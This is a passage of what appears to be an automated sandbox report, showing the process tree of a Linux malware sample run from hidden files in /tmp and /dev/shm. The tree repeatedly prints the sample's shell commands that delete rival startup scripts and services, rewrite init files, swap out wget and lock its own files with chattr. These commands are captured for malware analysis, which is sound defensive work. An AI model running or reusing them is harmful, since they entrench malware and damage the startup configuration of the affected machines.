                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1417
                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:1418
                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:1419
                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1420
                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                  PID:1421
                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                    rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1422
                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                      rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1423
                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1424
                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                          rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1425
                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:1426
                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1427
                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1428
                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                  PID:1429
                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                              1⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Modifies Watchdog functionality
                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                              PID:794
                                                                                                                                                                                            • /tmp/.guardian
                                                                                                                                                                                              .guardian vps
                                                                                                                                                                                              1⤵
                                                                                                                                                                                              • Modifies Watchdog functionality
                                                                                                                                                                                              • Checks hardware identifiers (DMI)
                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                              • Enumerates active TCP sockets
                                                                                                                                                                                              • Modifies init.d
                                                                                                                                                                                              • Modifies rc script
                                                                                                                                                                                              • Modifies systemd
                                                                                                                                                                                              • Reads MAC address of network interface
                                                                                                                                                                                              • Reads hardware information
                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                              • Checks CPU configuration
                                                                                                                                                                                              • Reads system network configuration
                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                              • Writes file to shm directory
                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                              PID:843
                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                PID:860
                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                  chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                  PID:861
                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                  rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:862
                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                    rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:863
                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                      rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:864
                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                        rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:865
                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                          rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:866
                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                          sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                          PID:867
                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                            rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:868
                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                              rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:869
                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:870
                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                  rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:871
                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                    rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:872
                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                      rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:873
                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                      sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:874
                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                          chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:875
                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                          PID:994
                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                            chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                            PID:995
                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:996
                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:997
                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:998
                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:999
                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1000
                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                    PID:1001
                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1002
                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:1003
                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:1004
                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:1005
                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1006
                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:1007
                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1008
                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                    PID:1009
                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                  PID:1076
                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:1077
                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:1078
                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:1079
                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:1080
                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:1081
                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1082
                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                                                                                                                              PID:1083
                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:1084
                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                  rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:1085
                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                    rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:1086
                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                      rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:1087
                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                        rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:1088
                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                          rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:1089
                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                          sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1090
                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                              chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                              PID:1091
                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                            PID:1156
                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                              PID:1157
                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1158
                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:1159
                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:1160
                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1161
                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:1162
                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                      PID:1163
                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:1164
                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1165
                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:1166
                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:1167
                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:1168
                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:1169
                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:1170
                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                      PID:1171
                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1236
                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                        PID:1237
                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:1238
                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:1239
                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:1240
                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:1241
                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:1242
                                                                                                                                                                                                                                                                                                              • /bin/sh
